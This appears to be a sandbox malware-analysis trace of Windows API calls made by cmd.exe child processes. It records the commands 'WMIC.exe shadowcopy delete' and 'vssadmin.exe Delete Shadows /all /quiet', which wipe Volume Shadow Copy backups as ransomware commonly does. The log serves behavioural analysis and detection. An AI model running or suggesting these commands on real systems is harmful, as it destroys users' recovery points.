	[0120.773] _wcsicmp (_String1="WMIC", _String2="GOTO") returned 16
	[0120.773] _wcsicmp (_String1="WMIC", _String2="SHIFT") returned 4
	[0120.773] _wcsicmp (_String1="WMIC", _String2="CLS") returned 20
	[0120.773] _wcsicmp (_String1="WMIC", _String2="CALL") returned 20
	[0120.773] _wcsicmp (_String1="WMIC", _String2="VERIFY") returned 1
	[0120.774] _wcsicmp (_String1="WMIC", _String2="VER") returned 1
	[0120.774] _wcsicmp (_String1="WMIC", _String2="VOL") returned 1
	[0120.774] _wcsicmp (_String1="WMIC", _String2="EXIT") returned 18
	[0120.774] _wcsicmp (_String1="WMIC", _String2="SETLOCAL") returned 4
	[0120.774] _wcsicmp (_String1="WMIC", _String2="ENDLOCAL") returned 18
	[0120.774] _wcsicmp (_String1="WMIC", _String2="TITLE") returned 3
	[0120.774] _wcsicmp (_String1="WMIC", _String2="START") returned 4
	[0120.774] _wcsicmp (_String1="WMIC", _String2="DPATH") returned 19
	[0120.774] _wcsicmp (_String1="WMIC", _String2="KEYS") returned 12
	[0120.774] _wcsicmp (_String1="WMIC", _String2="MOVE") returned 10
	[0120.774] _wcsicmp (_String1="WMIC", _String2="PUSHD") returned 7
	[0120.774] _wcsicmp (_String1="WMIC", _String2="POPD") returned 7
	[0120.774] _wcsicmp (_String1="WMIC", _String2="ASSOC") returned 22
	[0120.774] _wcsicmp (_String1="WMIC", _String2="FTYPE") returned 17
	[0120.775] _wcsicmp (_String1="WMIC", _String2="BREAK") returned 21
	[0120.775] _wcsicmp (_String1="WMIC", _String2="COLOR") returned 20
	[0120.775] _wcsicmp (_String1="WMIC", _String2="MKLINK") returned 10
	[0120.775] _wcsicmp (_String1="WMIC", _String2="FOR") returned 17
	[0120.775] _wcsicmp (_String1="WMIC", _String2="IF") returned 14
	[0120.775] _wcsicmp (_String1="WMIC", _String2="REM") returned 5
	[0120.775] SetErrorMode (uMode=0x0) returned 0x8001
	[0120.775] SetErrorMode (uMode=0x1) returned 0x0
	[0120.776] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x3e1330, lpFilePart=0x24f320 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x24f320*="system32") returned 0x13
	[0120.776] SetErrorMode (uMode=0x8001) returned 0x1
	[0120.776] GetProcessHeap () returned 0x3e0000
	[0120.776] RtlReAllocateHeap (Heap=0x3e0000, Flags=0x0, Ptr=0x3e1320, Size=0x4a) returned 0x3e1320
	[0120.776] GetProcessHeap () returned 0x3e0000
	[0120.776] RtlSizeHeap (HeapHandle=0x3e0000, Flags=0x0, MemoryPointer=0x3e1320) returned 0x4a
	[0120.776] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a47f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
	[0120.776] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1
	[0120.776] GetProcessHeap () returned 0x3e0000
	[0120.777] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x104) returned 0x3fc030
	[0120.777] GetProcessHeap () returned 0x3e0000
	[0120.777] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x1f8) returned 0x3e1380
	[0120.777] RtlReAllocateHeap (Heap=0x3e0000, Flags=0x0, Ptr=0x3e1380, Size=0x106) returned 0x3e1380
	[0120.777] GetProcessHeap () returned 0x3e0000
	[0120.777] RtlSizeHeap (HeapHandle=0x3e0000, Flags=0x0, MemoryPointer=0x3e1380) returned 0x106
	[0120.777] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a47f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0120.777] GetProcessHeap () returned 0x3e0000
	[0120.777] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0xe8) returned 0x3e14a0
	[0120.777] RtlReAllocateHeap (Heap=0x3e0000, Flags=0x0, Ptr=0x3e14a0, Size=0x7e) returned 0x3e14a0
	[0120.777] GetProcessHeap () returned 0x3e0000
	[0120.777] RtlSizeHeap (HeapHandle=0x3e0000, Flags=0x0, MemoryPointer=0x3e14a0) returned 0x7e
	[0120.778] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0120.778] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\WMIC.exe", fInfoLevelId=0x1, lpFindFileData=0x24f090, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x24f090) returned 0xffffffffffffffff
	[0120.970] GetLastError () returned 0x2
	[0120.970] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\WMIC.exe.*", fInfoLevelId=0x1, lpFindFileData=0x24f090, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x24f090) returned 0xffffffffffffffff
	[0120.970] GetLastError () returned 0x2
	[0120.971] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\WMIC.exe", fInfoLevelId=0x1, lpFindFileData=0x24f090, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x24f090) returned 0xffffffffffffffff
	[0120.971] GetLastError () returned 0x2
	[0120.971] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0120.971] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\WMIC.exe", fInfoLevelId=0x1, lpFindFileData=0x24f090, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x24f090) returned 0xffffffffffffffff
	[0120.972] GetLastError () returned 0x2
	[0120.972] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\WMIC.exe.*", fInfoLevelId=0x1, lpFindFileData=0x24f090, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x24f090) returned 0xffffffffffffffff
	[0120.972] GetLastError () returned 0x2
	[0120.972] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\WMIC.exe", fInfoLevelId=0x1, lpFindFileData=0x24f090, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x24f090) returned 0xffffffffffffffff
	[0120.973] GetLastError () returned 0x2
	[0120.973] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0120.973] FindFirstFileExW (in: lpFileName="C:\\Windows\\WMIC.exe", fInfoLevelId=0x1, lpFindFileData=0x24f090, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x24f090) returned 0xffffffffffffffff
	[0120.973] GetLastError () returned 0x2
	[0120.973] FindFirstFileExW (in: lpFileName="C:\\Windows\\WMIC.exe.*", fInfoLevelId=0x1, lpFindFileData=0x24f090, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x24f090) returned 0xffffffffffffffff
	[0120.974] GetLastError () returned 0x2
	[0120.974] FindFirstFileExW (in: lpFileName="C:\\Windows\\WMIC.exe", fInfoLevelId=0x1, lpFindFileData=0x24f090, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x24f090) returned 0xffffffffffffffff
	[0120.974] GetLastError () returned 0x2
	[0120.974] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0120.974] FindFirstFileExW (in: lpFileName="C:\\Windows\\System32\\Wbem\\WMIC.exe", fInfoLevelId=0x1, lpFindFileData=0x24f090, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x24f090) returned 0x3e1530
	[0120.975] GetProcessHeap () returned 0x3e0000
	[0120.975] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x0, Size=0x28) returned 0x3f45b0
	[0120.975] FindClose (in: hFindFile=0x3e1530 | out: hFindFile=0x3e1530) returned 1
	[0120.975] _wcsicmp (_String1=".exe", _String2=".CMD") returned 2
	[0120.975] _wcsicmp (_String1=".exe", _String2=".BAT") returned 3
	[0120.975] GetConsoleTitleW (in: lpConsoleTitle=0x24f5e0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b
	[0120.994] InitializeProcThreadAttributeList (in: lpAttributeList=0x24f398, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x24f358 | out: lpAttributeList=0x24f398, lpSize=0x24f358) returned 1
	[0120.994] UpdateProcThreadAttribute (in: lpAttributeList=0x24f398, dwFlags=0x0, Attribute=0x60001, lpValue=0x24f348, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x24f398, lpPreviousValue=0x0) returned 1
	[0120.994] GetStartupInfoW (in: lpStartupInfo=0x24f4b0 | out: lpStartupInfo=0x24f4b0*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x1, hStdOutput=0x0, hStdError=0x0)) 
	[0120.995] lstrcmpW (lpString1="\\WMIC.exe", lpString2="\\XCOPY.EXE") returned -1
	[0120.999] CreateProcessW (in: lpApplicationName="C:\\Windows\\System32\\Wbem\\WMIC.exe", lpCommandLine="WMIC.exe  shadowcopy delete", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Windows\\system32", lpStartupInfo=0x24f3d0*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="WMIC.exe  shadowcopy delete", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x24f380 | out: lpCommandLine="WMIC.exe  shadowcopy delete", lpProcessInformation=0x24f380*(hProcess=0x54, hThread=0x50, dwProcessId=0xa38, dwThreadId=0x7b8)) returned 1
	[0121.451] CloseHandle (hObject=0x50) returned 1
	[0121.451] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1
	[0121.451] GetProcessHeap () returned 0x3e0000
	[0121.451] HeapFree (in: hHeap=0x3e0000, dwFlags=0x0, lpMem=0x3fac00 | out: hHeap=0x3e0000) returned 1
	[0121.452] GetEnvironmentStringsW () returned 0x3fac00*
	[0121.452] GetProcessHeap () returned 0x3e0000
	[0121.452] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0xac4) returned 0x3f8a30
	[0121.452] FreeEnvironmentStringsW (penv=0x3fac00) returned 1
	[0121.452] WaitForSingleObject (hHandle=0x54, dwMilliseconds=0xffffffff) returned 0x0
	[0174.570] GetExitCodeProcess (in: hProcess=0x54, lpExitCode=0x24f2c8 | out: lpExitCode=0x24f2c8*=0x80041014) returned 1
	[0174.570] CloseHandle (hObject=0x54) returned 1
	[0174.570] _vsnwprintf (in: _Buffer=0x24f538, _BufferCount=0x13, _Format="%08X", _ArgList=0x24f2d8 | out: _Buffer="80041014") returned 8
	[0174.570] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="80041014") returned 1
	[0174.570] GetProcessHeap () returned 0x3e0000
	[0174.570] HeapFree (in: hHeap=0x3e0000, dwFlags=0x0, lpMem=0x3f8a30 | out: hHeap=0x3e0000) returned 1
	[0174.570] GetEnvironmentStringsW () returned 0x3f8a30*
	[0174.571] GetProcessHeap () returned 0x3e0000
	[0174.571] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0xaea) returned 0x3ff710
	[0174.571] FreeEnvironmentStringsW (penv=0x3f8a30) returned 1
	[0174.571] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1
	[0174.571] GetProcessHeap () returned 0x3e0000
	[0174.571] HeapFree (in: hHeap=0x3e0000, dwFlags=0x0, lpMem=0x3ff710 | out: hHeap=0x3e0000) returned 1
	[0174.571] GetEnvironmentStringsW () returned 0x3f8a30*
	[0174.571] GetProcessHeap () returned 0x3e0000
	[0174.571] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0xaea) returned 0x3ff710
	[0174.571] FreeEnvironmentStringsW (penv=0x3f8a30) returned 1
	[0174.571] GetProcessHeap () returned 0x3e0000
	[0174.571] HeapFree (in: hHeap=0x3e0000, dwFlags=0x0, lpMem=0x3f88d0 | out: hHeap=0x3e0000) returned 1
	[0174.571] DeleteProcThreadAttributeList (in: lpAttributeList=0x24f398 | out: lpAttributeList=0x24f398) 
	[0174.571] _get_osfhandle (_FileHandle=1) returned 0x7
	[0174.572] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1
	[0174.572] _get_osfhandle (_FileHandle=1) returned 0x7
	[0174.572] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a47e194 | out: lpMode=0x4a47e194) returned 1
	[0174.573] _get_osfhandle (_FileHandle=0) returned 0x3
	[0174.573] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a47e198 | out: lpMode=0x4a47e198) returned 1
	[0174.574] SetConsoleInputExeNameW () returned 0x1
	[0174.574] GetConsoleOutputCP () returned 0x1b5
	[0174.575] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a48bfe0 | out: lpCPInfo=0x4a48bfe0) returned 1
	[0174.575] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409
	[0174.575] exit (_Code=-2147217388) 

Process:
	id = "14"
	image_name = "cmd.exe"
	filename = "c:\\windows\\system32\\cmd.exe"
	page_root = "0x31391000"
	os_pid = "0x858"
	os_integrity_level = "0x2000"
	os_privileges = "0x800000"
	monitor_reason = "child_process"
	parent_id = "4"
	os_parent_pid = "0x434"
	cmd_line = "cmd /c \"vssadmin.exe Delete Shadows /all /quiet\""
	cur_dir = "C:\\Windows\\system32\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 98
	os_tid = 0x560

	[0119.910] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24fe70 | out: lpSystemTimeAsFileTime=0x24fe70*(dwLowDateTime=0x1949abd0, dwHighDateTime=0x1d5cdef)) 
	[0119.910] GetCurrentProcessId () returned 0x858
	[0119.910] GetCurrentThreadId () returned 0x560
	[0119.910] GetTickCount () returned 0x1164b53
	[0119.910] QueryPerformanceCounter (in: lpPerformanceCount=0x24fe78 | out: lpPerformanceCount=0x24fe78*=26166311658) returned 1
	[0119.911] GetModuleHandleW (lpModuleName=0x0) returned 0x4a450000
	[0119.911] __set_app_type (_Type=0x1) 
	[0119.911] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4a477810) returned 0x0
	[0119.912] __getmainargs (in: _Argc=0x4a49a608, _Argv=0x4a49a618, _Env=0x4a49a610, _DoWildCard=0, _StartInfo=0x4a47e0f4 | out: _Argc=0x4a49a608, _Argv=0x4a49a618, _Env=0x4a49a610) returned 0
	[0119.912] GetCurrentThreadId () returned 0x560
	[0119.912] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x560) returned 0x3c
	[0120.245] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76f20000
	[0120.245] GetProcAddress (hModule=0x76f20000, lpProcName="SetThreadUILanguage") returned 0x76f36d40
	[0120.245] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409
	[0120.246] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1
	[0120.246] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x24fe08 | out: phkResult=0x24fe08*=0x0) returned 0x2
	[0120.246] VirtualQuery (in: lpAddress=0x24fdf0, lpBuffer=0x24fd70, dwLength=0x30 | out: lpBuffer=0x24fd70*(BaseAddress=0x24f000, AllocationBase=0x150000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0120.247] VirtualQuery (in: lpAddress=0x150000, lpBuffer=0x24fd70, dwLength=0x30 | out: lpBuffer=0x24fd70*(BaseAddress=0x150000, AllocationBase=0x150000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0120.247] VirtualQuery (in: lpAddress=0x151000, lpBuffer=0x24fd70, dwLength=0x30 | out: lpBuffer=0x24fd70*(BaseAddress=0x151000, AllocationBase=0x150000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0120.247] VirtualQuery (in: lpAddress=0x154000, lpBuffer=0x24fd70, dwLength=0x30 | out: lpBuffer=0x24fd70*(BaseAddress=0x154000, AllocationBase=0x150000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0120.247] VirtualQuery (in: lpAddress=0x250000, lpBuffer=0x24fd70, dwLength=0x30 | out: lpBuffer=0x24fd70*(BaseAddress=0x250000, AllocationBase=0x0, AllocationProtect=0x0, __alignment1=0x0, RegionSize=0x10000, State=0x10000, Protect=0x1, Type=0x0, __alignment2=0x0)) returned 0x30
	[0120.247] GetConsoleOutputCP () returned 0x1b5
	[0120.247] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a48bfe0 | out: lpCPInfo=0x4a48bfe0) returned 1
	[0120.248] SetConsoleCtrlHandler (HandlerRoutine=0x4a473184, Add=1) returned 1
	[0120.248] _get_osfhandle (_FileHandle=1) returned 0x7
	[0120.248] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x0) returned 1
	[0120.249] _get_osfhandle (_FileHandle=1) returned 0x7
	[0120.249] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a47e194 | out: lpMode=0x4a47e194) returned 1
	[0120.250] _get_osfhandle (_FileHandle=1) returned 0x7
	[0120.250] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1
	[0120.251] _get_osfhandle (_FileHandle=0) returned 0x3
	[0120.251] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a47e198 | out: lpMode=0x4a47e198) returned 1
	[0120.252] _get_osfhandle (_FileHandle=0) returned 0x3
	[0120.252] SetConsoleMode (hConsoleHandle=0x3, dwMode=0x1a7) returned 1
	[0120.253] GetEnvironmentStringsW () returned 0x278a60*
	[0120.253] GetProcessHeap () returned 0x260000
	[0120.253] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0xa7c) returned 0x2794f0
	[0120.253] FreeEnvironmentStringsW (penv=0x278a60) returned 1
	[0120.253] GetProcessHeap () returned 0x260000
	[0120.253] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x8) returned 0x279f80
	[0120.254] GetEnvironmentStringsW () returned 0x278a60*
	[0120.254] GetProcessHeap () returned 0x260000
	[0120.254] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0xa7c) returned 0x279fa0
	[0120.254] FreeEnvironmentStringsW (penv=0x278a60) returned 1
	[0120.254] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x24ecc8 | out: phkResult=0x24ecc8*=0x44) returned 0x0
	[0120.255] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x24ecc0, lpData=0x24ece0, lpcbData=0x24ecc4*=0x1000 | out: lpType=0x24ecc0*=0x0, lpData=0x24ece0*=0x18, lpcbData=0x24ecc4*=0x1000) returned 0x2
	[0120.255] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x24ecc0, lpData=0x24ece0, lpcbData=0x24ecc4*=0x1000 | out: lpType=0x24ecc0*=0x4, lpData=0x24ece0*=0x1, lpcbData=0x24ecc4*=0x4) returned 0x0
	[0120.255] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x24ecc0, lpData=0x24ece0, lpcbData=0x24ecc4*=0x1000 | out: lpType=0x24ecc0*=0x0, lpData=0x24ece0*=0x1, lpcbData=0x24ecc4*=0x1000) returned 0x2
	[0120.255] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x24ecc0, lpData=0x24ece0, lpcbData=0x24ecc4*=0x1000 | out: lpType=0x24ecc0*=0x4, lpData=0x24ece0*=0x0, lpcbData=0x24ecc4*=0x4) returned 0x0
	[0120.255] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x24ecc0, lpData=0x24ece0, lpcbData=0x24ecc4*=0x1000 | out: lpType=0x24ecc0*=0x4, lpData=0x24ece0*=0x40, lpcbData=0x24ecc4*=0x4) returned 0x0
	[0120.255] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x24ecc0, lpData=0x24ece0, lpcbData=0x24ecc4*=0x1000 | out: lpType=0x24ecc0*=0x4, lpData=0x24ece0*=0x40, lpcbData=0x24ecc4*=0x4) returned 0x0
	[0120.256] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x24ecc0, lpData=0x24ece0, lpcbData=0x24ecc4*=0x1000 | out: lpType=0x24ecc0*=0x0, lpData=0x24ece0*=0x40, lpcbData=0x24ecc4*=0x1000) returned 0x2
	[0120.256] RegCloseKey (hKey=0x44) returned 0x0
	[0120.256] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x24ecc8 | out: phkResult=0x24ecc8*=0x44) returned 0x0
	[0120.256] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x24ecc0, lpData=0x24ece0, lpcbData=0x24ecc4*=0x1000 | out: lpType=0x24ecc0*=0x0, lpData=0x24ece0*=0x40, lpcbData=0x24ecc4*=0x1000) returned 0x2
	[0120.256] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x24ecc0, lpData=0x24ece0, lpcbData=0x24ecc4*=0x1000 | out: lpType=0x24ecc0*=0x4, lpData=0x24ece0*=0x1, lpcbData=0x24ecc4*=0x4) returned 0x0
	[0120.256] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x24ecc0, lpData=0x24ece0, lpcbData=0x24ecc4*=0x1000 | out: lpType=0x24ecc0*=0x0, lpData=0x24ece0*=0x1, lpcbData=0x24ecc4*=0x1000) returned 0x2
	[0120.256] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x24ecc0, lpData=0x24ece0, lpcbData=0x24ecc4*=0x1000 | out: lpType=0x24ecc0*=0x4, lpData=0x24ece0*=0x0, lpcbData=0x24ecc4*=0x4) returned 0x0
	[0120.257] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x24ecc0, lpData=0x24ece0, lpcbData=0x24ecc4*=0x1000 | out: lpType=0x24ecc0*=0x4, lpData=0x24ece0*=0x9, lpcbData=0x24ecc4*=0x4) returned 0x0
	[0120.257] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x24ecc0, lpData=0x24ece0, lpcbData=0x24ecc4*=0x1000 | out: lpType=0x24ecc0*=0x4, lpData=0x24ece0*=0x9, lpcbData=0x24ecc4*=0x4) returned 0x0
	[0120.257] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x24ecc0, lpData=0x24ece0, lpcbData=0x24ecc4*=0x1000 | out: lpType=0x24ecc0*=0x0, lpData=0x24ece0*=0x9, lpcbData=0x24ecc4*=0x1000) returned 0x2
	[0120.257] RegCloseKey (hKey=0x44) returned 0x0
	[0120.257] time (in: timer=0x0 | out: timer=0x0) returned 0x5e22e650
	[0120.257] srand (_Seed=0x5e22e650) 
	[0120.257] GetCommandLineW () returned="cmd /c \"vssadmin.exe Delete Shadows /all /quiet\""
	[0120.257] GetCommandLineW () returned="cmd /c \"vssadmin.exe Delete Shadows /all /quiet\""
	[0120.258] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a48c0a0 | out: lpBuffer="C:\\Windows\\system32") returned 0x13
	[0120.258] GetProcessHeap () returned 0x260000
	[0120.258] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x218) returned 0x27aa30
	[0120.258] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x27aa40, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b
	[0120.259] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a47f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
	[0120.259] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a47f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0120.259] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a47f360, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0120.259] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13
	[0120.259] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11
	[0120.260] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13
	[0120.260] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13
	[0120.260] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12
	[0120.260] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4
	[0120.260] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2
	[0120.260] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8
	[0120.260] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1
	[0120.261] GetProcessHeap () returned 0x260000
	[0120.261] HeapFree (in: hHeap=0x260000, dwFlags=0x0, lpMem=0x2794f0 | out: hHeap=0x260000) returned 1
	[0120.261] GetEnvironmentStringsW () returned 0x278a60*
	[0120.261] GetProcessHeap () returned 0x260000
	[0120.261] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0xa94) returned 0x27b6f0
	[0120.261] FreeEnvironmentStringsW (penv=0x278a60) returned 1
	[0120.261] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4a47f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b
	[0120.261] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4a47f360, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0120.262] _wcsicmp (_String1="KEYS", _String2="CD") returned 8
	[0120.262] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6
	[0120.262] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8
	[0120.262] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8
	[0120.262] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7
	[0120.262] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9
	[0120.262] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7
	[0120.262] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3
	[0120.262] GetProcessHeap () returned 0x260000
	[0120.262] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x38) returned 0x2764f0
	[0120.263] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x24fad0 | out: lpBuffer="C:\\Windows\\system32") returned 0x13
	[0120.263] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x104, lpBuffer=0x24fad0, lpFilePart=0x24fab0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x24fab0*="system32") returned 0x13
	[0120.263] GetFileAttributesW (lpFileName="C:\\Windows\\system32" (normalized: "c:\\windows\\system32")) returned 0x10
